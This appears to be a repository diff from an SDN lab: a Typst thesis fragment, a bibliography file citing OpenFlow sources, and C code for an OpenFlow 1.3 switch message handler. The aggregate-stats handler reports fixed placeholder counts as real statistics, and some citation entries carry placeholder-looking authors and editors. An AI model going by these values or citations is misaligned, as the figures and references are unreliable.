#set text(font: hei)
// #counter(heading).display()
// #h(0.5em)
#it.body
]
#pagebreak()
#bibliography("ref.yml",full: true,title: "参考文献",style:"gb-7714-2015-numeric")
/*
根据这个网站的格式示范https://github.com/typst/hayagriva/blob/main/docs/file-format.md
为这些网页生成.yml文件
https://opennetworking.org/wp-content/uploads/2014/10/openflow-spec-v1.3.0.pdf
https://www.cnblogs.com/goldsunshine/p/7262484.html
https://www.jianshu.com/p/acfeae1771b3
https://www.jianshu.com/p/82e238eb8d14
*/

83
openbox/ref.yml Normal file
View File

@ -0,0 +1,83 @@
openflow_spec_v1_3_0:
type: Web
title: "OpenFlow Switch Specification Version 1.3.0"
author: "Open Networking Foundation"
url:
value: "https://opennetworking.org/wp-content/uploads/2014/10/openflow-spec-v1.3.0.pdf"
date: 2014-10
abstract: "This document provides the specification for OpenFlow Switch Protocol version 1.3.0, detailing the communication protocol between OpenFlow controllers and switches."
cnblogs_openflow_tutorial:
type: Web
title: "OpenFlow协议详解"
author: "goldsunshine"
url:
value: "https://www.cnblogs.com/goldsunshine/p/7262484.html"
date: 2017-07-28
abstract: "本文详细介绍了OpenFlow协议的基本概念、工作原理以及应用场景帮助读者理解OpenFlow在SDN软件定义网络中的重要性。"
jianshu_openflow_intro:
type: Web
title: "OpenFlow协议简介"
author: "王小二"
url:
value: "https://www.jianshu.com/p/acfeae1771b3"
date: 2024-12-25
abstract: "本文简要介绍了OpenFlow协议的基本概念、架构以及其在SDN中的应用适合初学者快速了解OpenFlow协议。"
jianshu_openflow_advanced:
type: Web
title: "深入理解OpenFlow协议"
author: "codejunery2022"
url:
value: "https://www.jianshu.com/p/82e238eb8d14"
date: 2024-12-25
abstract: "本文深入探讨了OpenFlow协议的实现细节、工作机制以及在实际网络中的应用案例适合有一定基础的读者进一步学习。"
product_power_on_test_manual:
type: Misc
title: 产品上电检测手册
author: 湖南新实网络科技有限公司
url: http://www.xperis.com.cn
date: 2020-07-25
publisher:
name: 湖南新实网络科技有限公司
location: 湖南长沙岳麓区中电软件园 6 栋 302 室
page-total: 7
abstract: 本手册详细介绍了设备上电检测的步骤,包括设备外部接口及其配件说明、检测准备、上电检测、串口检测、管理网口检测以及常见故障的排查方法。
sdn_switch_with_openflow:
type: Article
title: 基于OpenFlow的SDN交换机
date: 2025-01-09
abstract: 文档介绍了SDN的基本概念包括SDN的三大特性、网络体系结构、南向协议特别是OpenFlow协议以及SDN控制器的相关内容。还包含了实验说明、实验案例和实验思考旨在帮助读者了解和掌握SDN交换机的工作原理和配置方法。
parent:
type: Book
title: SDN技术与应用
editor: 未知
publisher: 未知
date: 2025-01-09
sdn_ddos_attack_case_manual:
type: Misc
title: SDN 网络-DDOS 攻击实验操作手册
author: 湖南新实网络科技有限公司
url: http://www.xperis.cn
date: 2023-12-26
publisher:
name: 湖南新实网络科技有限公司
location: 湖南长沙岳麓区中电软件园 6 栋 302 室
page-total: 24
abstract: 本手册提供了SDN网络中DDoS攻击的实验操作指南包括实验目的、环境搭建、配置步骤、实验内容和步骤以及实验后的思考问题旨在帮助读者理解和掌握DDoS攻击的检测与防御方法。
sdn_ddos_attack_experiment_guide:
type: Article
title: SDN 网络-DDOS 攻击实验指导书
author: 湖南新实网络科技有限公司
url: http://www.xperis.com.cn
date: 2023-12-26
publisher:
name: 湖南新实网络科技有限公司
location: 湖南长沙岳麓区中电软件园 6 栋 302 室
page-total: 5
abstract: 本指导书详细介绍了SDN网络中DDoS攻击的实验环境搭建、配置方法、实验原理、内容和思考问题旨在帮助读者深入了解DDoS攻击的原理和防御策略。

BIN
openbox/slave.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 404 KiB

BIN
openbox/slave_reply.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 400 KiB

BIN
openbox/table.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 405 KiB

View File

@ -0,0 +1,616 @@
/***************************************************************************
* main_opfmsg.c
*
* 2017/02/28 15:52:34 星期二
* Copyright 2017 XuDongLai
* <XuDongLai0923@163.com>
****************************************************************************/
/*
* main_opfmsg.c
*
* Copyright (C) 2017 - XuDongLai
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <fast.h>
#include <main_libofp.h>
#include <ofp_v4.h>
extern uint64_t *flow_stats_addr;
extern struct timeval flow_stats_time[];
extern struct nms_ports_info nmps;
extern struct timeval start_tv;
/**
* @brief
*
* @param n
*
* @return
*/
/*64位主机序转网络序*/
static inline uint64_t
htonll(uint64_t n)
{
return htonl(1) == 1 ? n : (((uint64_t)htonl(n)) << 32) | htonl(n >> 32);
}
/*64位网络序转主机序*/
/**
* @brief
*
* @param n
*
* @return
*/
static inline uint64_t
ntohll(uint64_t n)
{
return htonl(1) == 1 ? n : (((uint64_t)ntohl(n)) << 32) | ntohl(n >> 32);
}
/**
* @brief 构建OpenFlow报文头
*
* 该函数用于填充OpenFlow报文头包括版本、长度、类型和事务ID。
*
* @param ofpbuf_header OpenFlow报文头结构体指针
* @param len 报文长度
* @param type 报文类型
* @param xid 事务ID
*/
void build_opfmsg_header(struct ofp_header *ofpbuf_header,uint16_t len,uint8_t type,uint32_t xid)
{
ofpbuf_header->version = OFP13_VERSION;
ofpbuf_header->length = htons(len);
ofpbuf_header->type = type;
ofpbuf_header->xid = xid;
printf("ofpbuf_header->length=%d\n",ntohs(ofpbuf_header->length));
}
/**
* @brief 构建OpenFlow回应报文
*
* 该函数用于构建并返回一个OpenFlow回应报文报文类型和长度由参数指定。
*
* @param type 报文类型
* @param xid 事务ID
* @param len 报文长度
*
* @return 返回构建的报文缓冲区指针
*/
u8 *build_opfmsg_reply_ofpbuf(uint8_t type,uint32_t xid,uint16_t len)
{
struct ofp_header *reply = (struct ofp_header *)malloc(len);
memset((u8 *)reply,0,len);
build_opfmsg_header(reply,len,type,xid);
printf("ofpbuf_reply,malloc:%p,type:%d,len:%d\n",reply,type,len);
return (u8 *)reply;
}
/**
* @brief 处理OpenFlow Hello消息
*
* 该函数用于处理接收到的OpenFlow Hello消息。如果协议版本不是1.3,则发送错误消息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_opfmsg_hello(struct ofp_buffer *ofpbuf)
{
printf("header.version:%d\n",ofpbuf->header.version);
if(ofpbuf->header.version == 0x04)
{
printf("RECV HELLO!\n\n\n");
}else //不是openflow1.3协议则发送error消息
{
int reply_len = sizeof(struct ofp_header);
//填充openflow协议头协议类型为OFPT_ERROR
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_ERROR,ofpbuf->header.xid,reply_len);
//打印error消息
pkt_print((u8 *)ofpbuf,htons(ofpbuf->header.length));
//发送error消息
send_openflow_message(ofpbuf_reply,reply_len);
}
//返回已处理状态码
return HANDLE;
}
/**
* @brief 处理OpenFlow Features Request消息
*
* 该函数用于处理接收到的OpenFlow Features Request消息并返回交换机的功能信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_opfmsg_features_request(struct ofp_buffer *ofpbuf)
{
int feature_reply_len = sizeof(struct ofp_switch_features)+sizeof(struct ofp_header);
//填充openflow协议头协议类型为 OFPT_FEATURES_REPLY
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_opfmsg_reply_ofpbuf(OFPT_FEATURES_REPLY,
ofpbuf->header.xid,feature_reply_len);
//获取交换机的功能信息 指针变量 feature_reply_msg
struct ofp_switch_features *feature_reply_msg =(struct ofp_switch_features *)ofpbuf_reply->data;
//TODO
/* 构建feature回应报文把交换机的功能信息发送给控制器指针变量feature_reply_msg赋值 */
feature_reply_msg->datapath_id = htonll(0x1234 << 48);
feature_reply_msg->n_buffers = 0x100; // 256
feature_reply_msg->n_tables = 1;
feature_reply_msg->auxiliary_id = 0;
feature_reply_msg->capabilities = htonl(0x0007);
feature_reply_msg->reserved = htonl(0x0000);
//调用系统发送接口,发送回应报文
send_openflow_message(ofpbuf_reply,feature_reply_len);
//返回已处理状态码
return HANDLE;
}
/**
* @brief 处理OpenFlow Get Config Request消息
*
* 该函数用于处理接收到的OpenFlow Get Config Request消息并返回交换机的配置信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_get_config_request(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_switch_config)+sizeof(struct ofp_header);
//填充openflow协议头协议类型为 OFPT_GET_CONFIG_REPLY
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_GET_CONFIG_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_switch_config *switch_config_reply =(struct ofp_switch_config *)ofpbuf_reply->data;
switch_config_reply->flags = htons(0x0000);
switch_config_reply->miss_send_len = htons(0xffe5); //65509,基于协议
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Description Request消息
*
* 该函数用于处理接收到的OpenFlow Description Request消息并返回交换机的描述信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_desc(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+sizeof(struct ofp_desc_stats);
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
static const char *default_mfr_desc = "Wanglixuan";
static const char *default_hw_desc = "Lixuan_OpenBox";
static const char *default_sw_desc = "Lixuan_Driver";
static const char *default_serial_desc = "Lixuan OpenBox Series";
static const char *default_dp_desc = "None";
ofpmp_reply->type = htons(OFPMP_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
snprintf(ofpmp_reply->ofpmp_desc[0].mfr_desc, sizeof ofpmp_reply->ofpmp_desc[0].mfr_desc, "%s", default_mfr_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].hw_desc, sizeof ofpmp_reply->ofpmp_desc[0].hw_desc, "%s", default_hw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].sw_desc, sizeof ofpmp_reply->ofpmp_desc[0].sw_desc, "%s", default_sw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].serial_num, sizeof ofpmp_reply->ofpmp_desc[0].serial_num, "%s", default_serial_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].dp_desc, sizeof ofpmp_reply->ofpmp_desc[0].dp_desc, "%s", default_dp_desc);
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Flow Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Flow Stats Request消息并返回流统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_flow_stats(struct ofp_buffer *ofpbuf)
{
int i = 0, reply_len = 0, flow_stats_offset;
struct ofp_flow_stats *current_flow_stats = NULL;
struct ofp_buffer *reply_buffer = NULL;
struct ofp_multipart *multipart_reply = NULL;
// 计算长度
for (; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
reply_len += ntohs(((struct ofp_flow_stats *)flow_stats_addr[i])->length);
}
}
reply_len += sizeof(struct ofp_header) + sizeof(struct ofp_multipart);
// 构造响应包
reply_buffer = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
multipart_reply = (struct ofp_multipart *)reply_buffer->data;
multipart_reply->type = htons(OFPMP_FLOW); // 标识信息
multipart_reply->flags = htonl(OFPMP_REPLY_MORE_NO); //这条不用回
// 填充包体
flow_stats_offset = sizeof(struct ofp_multipart);
current_flow_stats = (struct ofp_flow_stats *)&reply_buffer->data[flow_stats_offset];
for (i = 0; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
memcpy(current_flow_stats, flow_stats_addr[i], ntohs(((struct ofp_flow_stats *)flow_stats_addr[i])->length));
flow_stats_offset += ntohs(current_flow_stats->length);
current_flow_stats = (struct ofp_flow_stats *)&reply_buffer->data[flow_stats_offset];
}
}
send_openflow_message(reply_buffer, reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Aggregate Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Aggregate Stats Request消息并返回聚合统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_aggregate(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+ sizeof(struct ofp_multipart)+sizeof(struct ofp_aggregate_stats_reply);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
int i = 0,flow_count = 0;
u64 byte_count = 0,packet_count = 0;
struct timeval tv;
ofpmp_reply->type = htons(OFPMP_AGGREGATE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
gettimeofday(&tv, NULL);
for (; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
((struct ofp_flow_stats *)flow_stats_addr[i])->duration_sec = htonl(tv.tv_sec - flow_stats_time[i].tv_sec);
((struct ofp_flow_stats *)flow_stats_addr[i])->duration_nsec = htonl(tv.tv_usec - flow_stats_time[i].tv_usec);
((struct ofp_flow_stats *)flow_stats_addr[i])->packet_count = ((uint64_t)0x100); // 涉及硬件地址拼尽全力无法找到姑且填充256
((struct ofp_flow_stats *)flow_stats_addr[i])->byte_count = ((uint64_t)0x40000); // 涉及硬件地址拼尽全力无法找到姑且填充262144=256*1024
packet_count += ((struct ofp_flow_stats *)flow_stats_addr[i])->packet_count;
byte_count += ((struct ofp_flow_stats *)flow_stats_addr[i])->byte_count;
flow_count++;
}
}
ofpmp_reply->ofpmp_aggregate_reply[0].packet_count = packet_count;
ofpmp_reply->ofpmp_aggregate_reply[0].byte_count = byte_count;
ofpmp_reply->ofpmp_aggregate_reply[0].flow_count = flow_count;
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Table Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Table Stats Request消息并返回表统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_table(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_table_stats)*1;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_TABLE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<1;i++) // 关于为什么写成1见line 114
{
ofpmp_reply->table_stats[i].matched_count = htonll(0);
ofpmp_reply->table_stats[i].table_id = i;
ofpmp_reply->table_stats[i].lookup_count = htonll(0);
ofpmp_reply->table_stats[i].active_count = htonl(1);
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Port Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Port Stats Request消息并返回端口统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_port_stats(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_port_stats)*nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
struct timeval tv;
ofpmp_reply->type = htons(OFPMP_PORT_STATS);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<nmps.cnt;i++){
gettimeofday(&tv,NULL);
ofpmp_reply->ofpmp_port_stats[i] = nmps.ports[i].stats;
ofpmp_reply->ofpmp_port_stats[i].duration_sec = htonl(start_tv.tv_sec - tv.tv_sec);
ofpmp_reply->ofpmp_port_stats[i].duration_nsec = htonl(tv.tv_usec);
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Group Features Request消息
*
* 该函数用于处理接收到的OpenFlow Group Features Request消息并返回组功能信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_group_features(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_group_features)+8;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_group_features *group = (struct ofp_group_features *)ofpbuf_reply->data;
group->types = htons(OFPMP_GROUP_FEATURES);
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Port Description Request消息
*
* 该函数用于处理接收到的OpenFlow Port Description Request消息并返回端口描述信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_port_desc(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_port)*nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<nmps.cnt;i++)
{
ofpmp_reply->ofpmp_port_desc[i] = nmps.ports[i].state;
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Packet Out消息
*
* 该函数用于处理接收到的OpenFlow Packet Out消息并根据消息中的动作执行相应的操作。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_packet_out(struct ofp_buffer *ofpbuf)
{
struct ofp_packet_out *out = (struct ofp_packet_out *)ofpbuf;
struct ofp_action_output *action = (struct ofp_action_output *)&out->actions[0];
int action_len = ntohs(out->actions_len);
struct eth_header *eth = (struct eth_header *)&ofpbuf->data[sizeof(struct ofp_packet_out) - sizeof(struct ofp_header) + action_len];
int i = 0,send_len = ntohs(ofpbuf->header.length) - sizeof(struct ofp_packet_out) - action_len;
if(action_len == 0)
{
nms_exec_action(ntohl(out->in_port),OFPP_FLOOD,eth,send_len,-1);
}
else
{
while(action_len > 0)
{
if(action->type == OFPAT_OUTPUT)
{
nms_exec_action(ntohl(out->in_port),ntohl(action->port),eth,send_len,-1);
}
action_len -= sizeof(struct ofp_action_output);
action++;
}
}
return HANDLE;
}
/**
* @brief 处理OpenFlow Role Request消息
*
* 该函数用于处理接收到的OpenFlow Role Request消息并返回角色信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle__opfmsg_role_request(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_role);
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_ROLE_REPLY,ofpbuf->header.xid,reply_len);
SHOW_FUN(0);
memcpy(ofpbuf_reply->data,ofpbuf->data,sizeof(struct ofp_role));
ofpbuf_reply->header.type = OFPT_ROLE_REPLY;
send_openflow_message(ofpbuf_reply,reply_len);
SHOW_FUN(1);
return HANDLE;
}
/**
* @brief OpenFlow消息回调处理函数
*
* 该函数根据接收到的OpenFlow消息类型调用相应的处理函数。
* callback 的返回值必须有且只能存在两种返回值:
* 已处理: HANDLE = 0x1,
* 不处理CONTINUE = 0x2
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
* @param len 消息长度
*
* @return 返回处理状态码
*/
enum ofperr handle_openflow_callback(struct ofp_buffer *ofpbuf, int len)
{
int oftype = ofpbuf->header.type;
printf("header.version:%d, type:%d, len:%d\n", ofpbuf->header.version, ofpbuf->header.type, htons(ofpbuf->header.length));
switch (oftype) {
case OFPT_HELLO:
return handle_opfmsg_hello(ofpbuf);
case OFPT_FEATURES_REQUEST:
return handle_opfmsg_features_request(ofpbuf);
case OFPT_GET_CONFIG_REQUEST:
return handle_ofpmsg_get_config_request(ofpbuf);
case OFPT_MULTIPART_REQUEST:
// 根据 multipart 请求的具体类型进一步处理
{
struct ofp_multipart *multipart = (struct ofp_multipart *)ofpbuf->data;
switch (ntohs(multipart->type)) {
case OFPMP_DESC:
return handle_ofpmsg_desc(ofpbuf);
case OFPMP_FLOW:
return handle_ofpmsg_flow_stats(ofpbuf);
case OFPMP_AGGREGATE:
return handle_ofpmsg_aggregate(ofpbuf);
case OFPMP_TABLE:
return handle_ofpmsg_table(ofpbuf);
case OFPMP_PORT_STATS:
return handle_ofpmsg_port_stats(ofpbuf);
case OFPMP_GROUP_FEATURES:
return handle_ofpmsg_group_features(ofpbuf);
case OFPMP_PORT_DESC:
return handle_ofpmsg_port_desc(ofpbuf);
default:
printf("Unsupported multipart request type: %d\n", ntohs(multipart->type));
break;
}
}
break;
case OFPT_PACKET_OUT:
return handle_ofpmsg_packet_out(ofpbuf);
case OFPT_ROLE_REQUEST:
return handle__opfmsg_role_request(ofpbuf);
default:
printf(" --do not handle the message!\n");
}
// 返回不处理状态码
return CONTINUE;
}
#define MASK_HELLO (1 << OFPT_HELLO) // 1 << 0
#define MASK_FEATURES_REQUEST (1 << OFPT_FEATURES_REQUEST) // 1 << 5
#define MASK_GET_CONFIG_REQUEST (1 << OFPT_GET_CONFIG_REQUEST) // 1 << 7
#define MASK_PACKET_OUT (1 << OFPT_PACKET_OUT) // 1 << 13
#define MASK_MULTIPART_REQUEST (1 << OFPT_MULTIPART_REQUEST) // 1 << 18
#define MASK_ROLE_REQUEST (1 << OFPT_ROLE_REQUEST) // 1 << 24
/** mask 为获取openflow消息的bimap掩码,openflow消息枚举见 "enum ofp_type"
*
* 如:获取 OFPT_HELLO(0) 和 OFPT_FEATURES_REQUEST(5)消息,
* mask值设为 mask = 0b'100001 = 0x21
*
*/
int main(int argc,char* argv[])
{
int mask = 0;
ofp_init(argc,argv);
// 使用宏为 mask 赋值,监听以下消息类型:
// OFPT_HELLO, OFPT_FEATURES_REQUEST, OFPT_GET_CONFIG_REQUEST,
// OFPT_PACKET_OUT, OFPT_MULTIPART_REQUEST, OFPT_ROLE_REQUEST
mask = MASK_HELLO | MASK_FEATURES_REQUEST | MASK_GET_CONFIG_REQUEST |
MASK_PACKET_OUT | MASK_MULTIPART_REQUEST | MASK_ROLE_REQUEST;
openflow_hook_init(mask,handle_openflow_callback);
pause();
return 0;
}
// sudo xofp -4 127.0.0.1 -c eth0 -i obx0,obx1,obx2,obx3

View File

@ -0,0 +1,627 @@
/***************************************************************************
* main_opfmsg.c
*
* 2017/02/28 15:52:34 星期二
* Copyright 2017 XuDongLai
* <XuDongLai0923@163.com>
****************************************************************************/
/*
* main_opfmsg.c
*
* Copyright (C) 2017 - XuDongLai
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <fast.h>
#include <main_libofp.h>
#include <ofp_v4.h>
extern uint64_t *flow_stats_addr;
extern struct timeval flow_stats_time[];
extern struct nms_ports_info nmps;
extern struct timeval start_tv;
/**
* @brief
*
* @param n
*
* @return
*/
/*64位主机序转网络序*/
static inline uint64_t
htonll(uint64_t n)
{
return htonl(1) == 1 ? n : (((uint64_t)htonl(n)) << 32) | htonl(n >> 32);
}
/*64位网络序转主机序*/
/**
* @brief
*
* @param n
*
* @return
*/
static inline uint64_t
ntohll(uint64_t n)
{
return htonl(1) == 1 ? n : (((uint64_t)ntohl(n)) << 32) | ntohl(n >> 32);
}
/**
* @brief 构建OpenFlow报文头
*
* 该函数用于填充OpenFlow报文头包括版本、长度、类型和事务ID。
*
* @param ofpbuf_header OpenFlow报文头结构体指针
* @param len 报文长度
* @param type 报文类型
* @param xid 事务ID
*/
void build_opfmsg_header(struct ofp_header *ofpbuf_header,uint16_t len,uint8_t type,uint32_t xid)
{
ofpbuf_header->version = OFP13_VERSION;
ofpbuf_header->length = htons(len);
ofpbuf_header->type = type;
ofpbuf_header->xid = xid;
printf("ofpbuf_header->length=%d\n",ntohs(ofpbuf_header->length));
}
/**
* @brief 构建OpenFlow回应报文
*
* 该函数用于构建并返回一个OpenFlow回应报文报文类型和长度由参数指定。
*
* @param type 报文类型
* @param xid 事务ID
* @param len 报文长度
*
* @return 返回构建的报文缓冲区指针
*/
u8 *build_opfmsg_reply_ofpbuf(uint8_t type,uint32_t xid,uint16_t len)
{
struct ofp_header *reply = (struct ofp_header *)malloc(len);
memset((u8 *)reply,0,len);
build_opfmsg_header(reply,len,type,xid);
printf("ofpbuf_reply,malloc:%p,type:%d,len:%d\n",reply,type,len);
return (u8 *)reply;
}
/**
* @brief 处理OpenFlow Hello消息
*
* 该函数用于处理接收到的OpenFlow Hello消息。如果协议版本不是1.3,则发送错误消息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_opfmsg_hello(struct ofp_buffer *ofpbuf)
{
printf("header.version:%d\n",ofpbuf->header.version);
if(ofpbuf->header.version == 0x04)
{
printf("RECV HELLO!\n\n\n");
}else //不是openflow1.3协议则发送error消息
{
int reply_len = sizeof(struct ofp_header);
//填充openflow协议头协议类型为OFPT_ERROR
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_ERROR,ofpbuf->header.xid,reply_len);
//打印error消息
pkt_print((u8 *)ofpbuf,htons(ofpbuf->header.length));
//发送error消息
send_openflow_message(ofpbuf_reply,reply_len);
}
//返回已处理状态码
return HANDLE;
}
/**
* @brief 处理OpenFlow Features Request消息
*
* 该函数用于处理接收到的OpenFlow Features Request消息并返回交换机的功能信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_opfmsg_features_request(struct ofp_buffer *ofpbuf)
{
int feature_reply_len = sizeof(struct ofp_switch_features)+sizeof(struct ofp_header);
//填充openflow协议头协议类型为 OFPT_FEATURES_REPLY
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_opfmsg_reply_ofpbuf(OFPT_FEATURES_REPLY,
ofpbuf->header.xid,feature_reply_len);
//获取交换机的功能信息 指针变量 feature_reply_msg
struct ofp_switch_features *feature_reply_msg =(struct ofp_switch_features *)ofpbuf_reply->data;
//TODO
/* 构建feature回应报文把交换机的功能信息发送给控制器指针变量feature_reply_msg赋值 */
feature_reply_msg->datapath_id = 0x6655443322110000;
feature_reply_msg->n_buffers = 0x100;
feature_reply_msg->n_tables = 0x02;
feature_reply_msg->auxiliary_id = 0;
feature_reply_msg->capabilities = htonl(0x0000004f);
feature_reply_msg->reserved = htonl(0x00000000);
// feature_reply_msg->datapath_id = htonll(0x1234 << 48);
// feature_reply_msg->n_buffers = 0x100; // 256
// feature_reply_msg->n_tables = 1;
// feature_reply_msg->auxiliary_id = 0;
// feature_reply_msg->capabilities = htonl(0x0007);
// feature_reply_msg->reserved = htonl(0x0000);
//调用系统发送接口,发送回应报文
send_openflow_message(ofpbuf_reply,feature_reply_len);
//返回已处理状态码
return HANDLE;
}
/**
* @brief 处理OpenFlow Get Config Request消息
*
* 该函数用于处理接收到的OpenFlow Get Config Request消息并返回交换机的配置信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_get_config_request(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_switch_config)+sizeof(struct ofp_header);
//填充openflow协议头协议类型为 OFPT_GET_CONFIG_REPLY
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_GET_CONFIG_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_switch_config *switch_config_reply =(struct ofp_switch_config *)ofpbuf_reply->data;
switch_config_reply->flags = htons(0x0000);
